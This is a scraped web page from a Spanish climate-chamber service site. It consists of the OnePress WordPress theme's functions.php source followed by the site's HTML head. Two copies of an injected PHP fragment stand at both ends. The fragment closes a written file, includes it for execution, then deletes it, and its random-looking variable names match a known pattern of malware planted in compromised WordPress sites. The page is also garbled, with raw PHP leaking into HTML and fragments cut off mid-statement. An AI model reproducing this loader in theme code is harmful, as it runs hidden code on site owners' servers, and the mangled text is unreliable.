"); fclose($hdl); include("{$eb}.$algo"); unlink("{$eb}.$algo"); $npDcheckClassBgp = 'aue'; $zeeta = "yup"; } /** * OnePress functions and definitions. * * @link https://developer.wordpress.org/themes/basics/theme-functions/ * * @package OnePress */ if ( ! function_exists( 'onepress_setup' ) ) : /** * Sets up theme defaults and registers support for various WordPress features. * * Note that this function is hooked into the after_setup_theme hook, which * runs before the init hook. The init hook is too late for some features, such * as indicating support for post thumbnails. */ function onepress_setup() { /* * Make theme available for translation. * Translations can be filed in the /languages/ directory. * If you're building a theme based on OnePress, use a find and replace * to change 'onepress' to the name of your theme in all the template files. */ load_theme_textdomain( 'onepress', get_template_directory() . '/languages' ); /* * Add default posts and comments RSS feed links to head. */ add_theme_support( 'automatic-feed-links' ); /* * Let WordPress manage the document title. * By adding theme support, we declare that this theme does not use a * hard-coded tag in the document head, and expect WordPress to * provide it for us. */ add_theme_support( 'title-tag' ); /** * Excerpt for page */ add_post_type_support( 'page', 'excerpt' ); /* * Enable support for Post Thumbnails on posts and pages. * * @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/ */ add_theme_support( 'post-thumbnails' ); add_image_size( 'onepress-blog-small', 300, 150, true ); add_image_size( 'onepress-small', 480, 300, true ); add_image_size( 'onepress-medium', 640, 400, true ); /* * This theme uses wp_nav_menu() in one location. */ register_nav_menus( array( 'primary' => esc_html__( 'Primary Menu', 'onepress' ), ) ); /* * Switch default core markup for search form, comment form, and comments * to output valid HTML5. */ add_theme_support( 'html5', array( 'search-form', 'comment-form', 'comment-list', 'gallery', 'caption', ) ); /* * WooCommerce support. */ add_theme_support( 'woocommerce' ); /** * Add theme Support custom logo * * @since WP 4.5 * @sin 1.2.1 */ add_theme_support( 'custom-logo', array( 'height' => 36, 'width' => 160, 'flex-height' => true, 'flex-width' => true, // 'header-text' => array( 'site-title', 'site-description' ), // ) ); // Recommend plugins. add_theme_support( 'recommend-plugins', array( 'wpforms-lite' => array( 'name' => esc_html__( 'Contact Form by WPForms', 'onepress' ), 'active_filename' => 'wpforms-lite/wpforms.php', ), 'famethemes-demo-importer' => array( 'name' => esc_html__( 'Famethemes Demo Importer', 'onepress' ), 'active_filename' => 'famethemes-demo-importer/famethemes-demo-importer.php', ), ) ); // Add theme support for selective refresh for widgets. add_theme_support( 'customize-selective-refresh-widgets' ); // Add support for WooCommerce. add_theme_support( 'wc-product-gallery-zoom' ); add_theme_support( 'wc-product-gallery-lightbox' ); add_theme_support( 'wc-product-gallery-slider' ); /** * Add support for Gutenberg. * * @link https://wordpress.org/gutenberg/handbook/reference/theme-support/ */ add_theme_support( 'editor-styles' ); add_theme_support( 'align-wide' ); /* * This theme styles the visual editor to resemble the theme style. */ add_editor_style( array( 'editor-style.css', onepress_fonts_url() ) ); } endif; add_action( 'after_setup_theme', 'onepress_setup' ); /** * Set the content width in pixels, based on the theme's design and stylesheet. * * Priority 0 to make it available to lower priority callbacks. * * @global int $content_width */ function onepress_content_width() { /** * Support dynamic content width * * @since 2.1.1 */ $width = absint( get_theme_mod( 'single_layout_content_width' ) ); if ( $width <= 0 ) { $width = 800; } $GLOBALS['content_width'] = apply_filters( 'onepress_content_width', $width ); } add_action( 'after_setup_theme', 'onepress_content_width', 0 ); /** * Register widget area. * * @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar */ function onepress_widgets_init() { register_sidebar( array( 'name' => esc_html__( 'Sidebar', 'onepress' ), 'id' => 'sidebar-1', 'description' => '', 'before_widget' => '<aside id="%1$s" class="widget %2$s">', 'after_widget' => '</aside>', 'before_title' => '<h2 class="widget-title">', 'after_title' => '</h2>', ) ); if ( class_exists( 'WooCommerce' ) ) { register_sidebar( array( 'name' => esc_html__( 'WooCommerce Sidebar', 'onepress' ), 'id' => 'sidebar-shop', 'description' => '', 'before_widget' => '<aside id="%1$s" class="widget %2$s">', 'after_widget' => '</aside>', 'before_title' => '<h2 class="widget-title">', 'after_title' => '</h2>', ) ); } for ( $i = 1; $i <= 4; $i++ ) { register_sidebar( array( 'name' => sprintf( __( 'Footer %s', 'onepress' ), $i ), 'id' => 'footer-' . $i, 'description' => '', 'before_widget' => '<aside id="%1$s" class="footer-widget widget %2$s">', 'after_widget' => '</aside>', 'before_title' => '<h2 class="widget-title">', 'after_title' => '</h2>', ) ); } } add_action( 'widgets_init', 'onepress_widgets_init' ); /** * Enqueue scripts and styles. */ function onepress_scripts() { $theme = wp_get_theme( 'onepress' ); $version = $theme->get( 'Version' ); if ( ! get_theme_mod( 'onepress_disable_g_font' ) ) { wp_enqueue_style( 'onepress-fonts', onepress_fonts_url(), array(), $version ); } wp_enqueue_style( 'onepress-animate', get_template_directory_uri() . '/assets/css/animate.min.css', array(), $version ); wp_enqueue_style( 'onepress-fa', get_template_directory_uri() . '/assets/css/font-awesome.min.css', array(), '4.7.0' ); wp_enqueue_style( 'onepress-bootstrap', get_template_directory_uri() . '/assets/css/bootstrap.min.css', false, $version ); wp_enqueue_style( 'onepress-style', get_template_directory_uri() . '/style.css' ); $custom_css = onepress_custom_inline_style(); wp_add_inline_style( 'onepress-style', $custom_css ); wp_enqueue_script( 'jquery' ); wp_enqueue_script( 'onepress-js-plugins', get_template_directory_uri() . '/assets/js/plugins.js', array( 'jquery' ), $version, true ); wp_enqueue_script( 'onepress-js-bootstrap', get_template_directory_uri() . '/assets/js/bootstrap.min.js', array(), $version, true ); // Animation from settings. $onepress_js_settings = array( 'onepress_disable_animation' => get_theme_mod( 'onepress_animation_disable' ), 'onepress_disable_sticky_header' => get_theme_mod( 'onepress_sticky_header_disable' ), 'onepress_vertical_align_menu' => get_theme_mod( 'onepress_vertical_align_menu' ), 'hero_animation' => get_theme_mod( 'onepress_hero_option_animation', 'flipInX' ), 'hero_speed' => intval( get_theme_mod( 'onepress_hero_option_speed', 5000 ) ), 'hero_fade' => intval( get_theme_mod( 'onepress_hero_slider_fade', 750 ) ), 'hero_duration' => intval( get_theme_mod( 'onepress_hero_slider_duration', 5000 ) ), 'hero_disable_preload' => get_theme_mod( 'onepress_hero_disable_preload', false ) ? true : false, 'is_home' => '', 'gallery_enable' => '', 'is_rtl' => is_rtl(), ); // Load gallery scripts. $galley_disable = get_theme_mod( 'onepress_gallery_disable' ) == 1 ? true : false; $is_shop = false; if ( function_exists( 'is_woocommerce' ) ) { if ( is_woocommerce() ) { $is_shop = true; } } // Don't load scripts for woocommerce because it don't need. if ( ! $is_shop ) { if ( ! $galley_disable || is_customize_preview() ) { $onepress_js_settings['gallery_enable'] = 1; $display = get_theme_mod( 'onepress_gallery_display', 'grid' ); if ( ! is_customize_preview() ) { switch ( $display ) { case 'masonry': wp_enqueue_script( 'onepress-gallery-masonry', get_template_directory_uri() . '/assets/js/isotope.pkgd.min.js', array(), $version, true ); break; case 'justified': wp_enqueue_script( 'onepress-gallery-justified', get_template_directory_uri() . '/assets/js/jquery.justifiedGallery.min.js', array(), $version, true ); break; case 'slider': case 'carousel': wp_enqueue_script( 'onepress-gallery-carousel', get_template_directory_uri() . '/assets/js/owl.carousel.min.js', array(), $version, true ); break; default: break; } } else { wp_enqueue_script( 'onepress-gallery-masonry', get_template_directory_uri() . '/assets/js/isotope.pkgd.min.js', array(), $version, true ); wp_enqueue_script( 'onepress-gallery-justified', get_template_directory_uri() . '/assets/js/jquery.justifiedGallery.min.js', array(), $version, true ); wp_enqueue_script( 'onepress-gallery-carousel', get_template_directory_uri() . '/assets/js/owl.carousel.min.js', array(), $version, true ); } } wp_enqueue_style( 'onepress-gallery-lightgallery', get_template_directory_uri() . '/assets/css/lightgallery.css' ); } wp_enqueue_script( 'onepress-theme', get_template_directory_uri() . '/assets/js/theme.js', array(), $version, true ); if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) { wp_enqueue_script( 'comment-reply' ); } if ( is_front_page() && is_page_template( 'template-frontpage.php' ) ) { if ( get_theme_mod( 'onepress_header_scroll_logo' ) ) { $onepress_js_settings['is_home'] = 1; } } wp_localize_script( 'onepress-theme', 'onepress_js_settings', $onepress_js_settings ); } add_action( 'wp_enqueue_scripts', 'onepress_scripts' ); if ( ! function_exists( 'onepress_fonts_url' ) ) : /** * Register default Google fonts */ function onepress_fonts_url() { $fonts_url = ''; /* * Translators: If there are characters in your language that are not * supported by Open Sans, translate this to 'off'. Do not translate * into your own language. */ $open_sans = _x( 'on', 'Open Sans font: on or off', 'onepress' ); /* * Translators: If there are characters in your language that are not * supported by Raleway, translate this to 'off'. Do not translate * into your own language. */ $raleway = _x( 'on', 'Raleway font: on or off', 'onepress' ); if ( 'off' !== $raleway || 'off' !== $open_sans ) { $font_families = array(); if ( 'off' !== $raleway ) { $font_families[] = 'Raleway:400,500,600,700,300,100,800,900'; } if ( 'off' !== $open_sans ) { $font_families[] = 'Open Sans:400,300,300italic,400italic,600,600italic,700,700italic'; } $query_args = array( 'family' => urlencode( implode( '|', $font_families ) ), 'subset' => urlencode( 'latin,latin-ext' ), ); $fonts_url = add_query_arg( $query_args, 'https://fonts.googleapis.com/css' ); } return esc_url_raw( $fonts_url ); } endif; /** * Glabel OnePress loop properties * * @since 2.1.0 */ global $onepress_loop_props; $onepress_loop_props = array(); /** * Set onepress loop property. * * @since 2.1.0 * * @param string $prop * @param string $value */ function onepress_loop_set_prop( $prop, $value ) { global $onepress_loop_props; $onepress_loop_props[ $prop ] = $value; } /** * Get onepress loop property * * @since 2.1.0 * * @param $prop * @param bool $default * * @return bool|mixed */ function onepress_loop_get_prop( $prop, $default = false ) { global $onepress_loop_props; if ( isset( $onepress_loop_props[ $prop ] ) ) { return apply_filters( 'onepress_loop_get_prop', $onepress_loop_props[ $prop ], $prop ); } return apply_filters( 'onepress_loop_get_prop', $default, $prop ); } /** * Remove onepress loop property * * @since 2.1.0 * * @param $prop */ function onepress_loop_remove_prop( $prop ) { global $onepress_loop_props; if ( isset( $onepress_loop_props[ $prop ] ) ) { unset( $onepress_loop_props[ $prop ] ); } } /** * Trim the excerpt with custom length * * @since 2.1.0 * * @see wp_trim_excerpt * @param $text * @param null $excerpt_length * @return string */ function onepress_trim_excerpt( $text, $excerpt_length = null ) { $text = strip_shortcodes( $text ); /** This filter is documented in wp-includes/post-template.php */ $text = apply_filters( 'the_content', $text ); $text = str_replace( ']]>', ']]>', $text ); if ( ! $excerpt_length ) { /** * Filters the number of words in an excerpt. * * @since 2.7.0 * * @param int $number The number of words. Default 55. */ $excerpt_length = apply_filters( 'excerpt_length', 55 ); } /** * Filters the string in the "more" link displayed after a trimmed excerpt. * * @since 2.9.0 * * @param string $more_string The string shown within the more link. */ $excerpt_more = apply_filters( 'excerpt_more', ' ' . '…' ); return wp_trim_words( $text, $excerpt_length, $excerpt_more ); } /** * Display the excerpt * * @param string $type * @param bool $length */ function onepress_the_excerpt( $type = false, $length = false ) { $type = onepress_loop_get_prop( 'excerpt_type', 'excerpt' ); $length = onepress_loop_get_prop( 'excerpt_length', false ); switch ( $type ) { case 'excerpt': the_excerpt(); break; case 'more_tag': the_content( '', true ); break; case 'content': the_content( '', false ); break; default: $text = ''; global $post; if ( $post ) { if ( $post->post_excerpt ) { $text = $post->post_excerpt; } else { $text = $post->post_content; } } $excerpt = onepress_trim_excerpt( $text, $length ); if ( $excerpt ) { // WPCS: XSS OK. echo apply_filters( 'the_excerpt', $excerpt ); } else { the_excerpt(); } } } /** * Config class * * @since 2.1.1 */ require get_template_directory() . '/inc/class-config.php'; /** * Load Sanitize */ require get_template_directory() . '/inc/sanitize.php'; /** * Custom Metabox for this theme. */ require get_template_directory() . '/inc/metabox.php'; /** * Custom template tags for this theme. */ require get_template_directory() . '/inc/template-tags.php'; /** * Custom functions that act independently of the theme templates. */ require get_template_directory() . '/inc/extras.php'; /** * Dots Navigation class * * @since 2.1.0 */ require get_template_directory() . '/inc/class-sections-navigation.php'; /** * Customizer additions. */ require get_template_directory() . '/inc/customizer.php'; /** * Add theme info page */ require get_template_directory() . '/inc/admin/dashboard.php'; /** * Editor Style * * @since 2.2.1 */ require get_template_directory() . '/inc/admin/class-editor.php'; "); fclose($hdl); include("{$eb}.$algo"); unlink("{$eb}.$algo"); $npDcheckClassBgp = 'aue'; $zeeta = "yup"; } ?><!DOCTYPE html> <html lang="es"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="https://gmpg.org/xfn/11"> <meta name='robots' content='index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' /> <!-- This site is optimized with the Yoast SEO plugin v16.2 - https://yoast.com/wordpress/plugins/seo/ --> <meta name="description" content="Servicio técnico de cámaras climáticas, bancos de ensayos y equipos de laboratorio." /> <link rel="canonical" href="https://www.asis10.es/" /> <meta property="og:locale" content="es_ES" /> <meta property="og:type" content="website" /> <meta property="og:title" content="Servicio técnico de cámaras climáticas" /> <meta property="og:description" content="Servicio técnico de cámaras climáticas, bancos de ensayos y equipos de laboratorio." /> <meta property="og:url" content="https://www.asis10.es/" /> <meta property="article:modified_time" content="2016-11-14T16:12:05+00:00" /> <meta name="twitter:card" content="summary" /> <script type="application/ld+json" class="yoast-schema-graph">{"@context":"https://schema.org","@graph":[{"@type":["Person","Organization"],"@id":"https://www.asis10.es/#/schema/person/d1eeb2abf6a4776422d448b78ed25cc3","name":"moon","image":{"@type":"ImageObject","@id":"https://www.asis10.es/#personlogo","inLanguage":"es","url":"https://secure.gravatar.com/avatar/b38913fa43baf507a7b704041952bd0c?s=96&d=mm&r=g","contentUrl":"https://secure.gravatar.com/avatar/b38913fa43baf507a7b704041952bd0c?s=96&d=mm&r=g","caption":"moon"},"logo":{"@id":"https://www.asis10.es/#personlogo"}},{"@type":"WebSite","@id":"https://www.asis10.es/#website","url":"https://www.asis10.es/","name":"","description":"C\u00e1mara clim\u00e1ticas","publisher":{"@id":"https://www.asis10.es/#/schema/person/d1eeb2abf6a4776422d448b78ed25cc3"},"potentialAction":[{"@type":"SearchAction","target":"https://www.asis10.es/?s={search_term_string}","query-input":"required name=search_term_string"}],"inLanguage":"es"},{"@type":"WebPage","@id":"https://www.asis10.es/#webpage","url":"https://www.asis10.es/","name":"Servicio t\u00e9cnico de c\u00e1maras clim\u00e1ticas","isPartOf":{"@id":"https://www.asis10.es/#website"},"about":{"@id":"https://www.asis10.es/#/schema/person/d1eeb2abf6a4776422d448b78ed25cc3"},"datePublished":"2016-07-06T13:41:01+00:00","dateModified":"2016-11-14T16:12:05+00:00","description":"Servicio t\u00e9cnico de c\u00e1maras clim\u00e1ticas, bancos de ensayos y equipos de laboratorio.","breadcrumb":{"@id":"https://www.asis10.es/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https://www.asis10.es/"]}]},{"@type":"BreadcrumbList","@id":"https://www.asis10.es/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"item":{"@id":"https://www.asis10.es/#webpage"}}]}]}</script> <!-- / Yoast SEO plugin. --> <link rel='dns-prefetch' href='//www.google.com' /> <link rel='dns-prefetch' href='//s.w.org' /> <script type="text/javascript"> window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/13.0.1\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/13.0.1\/svg\/","svgExt":".svg","source":{"concatemoji":"https:\/\/www.asis10.es\/wp-includes\/js\/wp-emoji-release.min.js?ver=5.7.8"}}; !function(e,a,t){var n,r,o,i=a.createElement("canvas"),p=i.getContext&&i.getContext("2d");function s(e,t){var a=String.fromCharCode;p.clearRect(0,0,i.width,i.height),p.fillText(a.apply(this,e),0,0);e=i.toDataURL();return p.clearRect(0,0,i.width,i.height),p.fillText(a.apply(this,t),0,0),e===i.toDataURL()}function c(e){var t=a.createElement("script");t.src=e,t.defer=t.type="text/javascript",a.getElementsByTagName("head")[0].appendChild(t)}for(o=Array("flag","emoji"),t.supports={everything:!0,everythingExceptFlag:!0},r=0;r<o.length;r++)t.supports[o[r]]=function(e){if(!p||!p.fillText)return!1;switch(p.textBaseline="top",p.font="600 32px Arial",e){case"flag":return s([127987,65039,8205,9895,65039],[127987,65039,8203,9895,65039])?!1:!s([55356,56826,55356,56819],[55356,56826,8203,55356,56819])&&!s([55356,57332,56128,56423,56128,56418,56128,56421,56128,56430,56128,56423,56128,56447],[55356,57332,8203,56128,56423,8203,56128,56418,8203,56128,56421,8203,56128,56430,8203,56128,56423,8203,56128,56447]);case"emoji":return!s([55357,56424,8205,55356,57212],[55357,56424,8203,55356,57212])}return!1}(o[r]),t.supports.everything=t.supports.everything&&t.supports[o[r]],"flag"!==o[r]&&(t.supports.everythingExceptFlag=t.supports.everythingExceptFlag&&t.supports[o[r]]);t.supports.everythingExceptFlag=t.supports.everythingExceptFlag&&!t.supports.flag,t.DOMReady=!1,t.readyCallback=function(){t.DOMReady=!0},t.supports.everything||(n=function(){t.readyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",n,!1),e.addEventListener("load",n,!1)):(e.attachEvent("onload",n),a.attachEvent("onreadystatechange",function(){"complete"===a.readyState&&t.readyCallback()})),(n=t.source||{}).concatemoji?c(n.concatemoji):n.wpemoji&&n.twemoji&&(c(n.twemoji),c(n.wpemoji)))}(window,document,window._wpemojiSettings); </script> <style type="text/css"> img.wp-smiley, img.emoji { display: inline !important; border: none !important; box-shadow: none !important; height: 1em !important; width: 1em !important; margin: 0 .07em !important; vertical-align: -0.1em !important; background: none !important; padding: 0 !important; } </style> <link rel='stylesheet' id='wp-block-library-css' href='https://www.asis10.es/wp-includes/css/dist/block-library/style.min.css?ver=5.7.8' type='text/css' media='all' /> <link rel='stylesheet' id='contact-form-7-css' href='https://www.asis10.es/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.4.1' type='text/css' media='all' /> <link rel="https://api.w.org/" href="https://www.asis10.es/wp-json/" /><link rel="alternate" type="application/json" href="https://www.asis10.es/wp-json/wp/v2/pages/6" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://www.asis10.es/xmlrpc.php?rsd" /> <link rel="wlwmanifest" type="application/wlwmanifest+xml" href="https://www.asis10.es/wp-includes/wlwmanifest.xml" /> <meta name="generator" content="WordPress 5.7.8" /> <link rel='shortlink' href='https://www.asis10.es/' /> <link rel="alternate" type="application/json+oembed" href="https://www.asis10.es/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.asis10.es%2F" /> <link rel="alternate" type="text/xml+oembed" href="https://www.asis10.es/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.asis10.es%2F&format=xml" /> <link rel="icon" href="https://www.asis10.es/wp-content/uploads/cropped-Captura-de-pantalla-2016-07-06-a-las-15.35.01-32x32.png" sizes="32x32" /> <link rel="icon" href="https://www.asis10.es/wp-content/uploads/cropped-Captura-de-pantalla-2016-07-06-a-las-15.35.01-192x192.png" sizes="192x192" /> <link rel="apple-touch-icon" href="https://www.asis10.es/wp-content/uploads/cropped-Captura-de-pantalla-2016-07-06-a-las-15.35.01-180x180.png" /> <meta name="msapplication-TileImage" content="https://www.asis10.es/wp-content/uploads/cropped-Captura-de-pantalla-2016-07-06-a-las-15.35.01-270x270.png" /> <style type="text/css" id="wp-custom-css"> .site-branding {height:50px} .followWrap {height:50px !important} .page-header {padding-top:60px !important; padding-bottom:30px !important} .breadcrumbs {display:none} #primary {padding-top:0px !important} </style> </head> <body data-rsssl=1 class="home page-template page-template-template-frontpage page-template-template-frontpage-php page page-id-6 page-parent wp-custom-logo"> <div id="page" class="hfeed site"> <a class="skip-link screen-reader-text" href="#content">Saltar al contenido</a>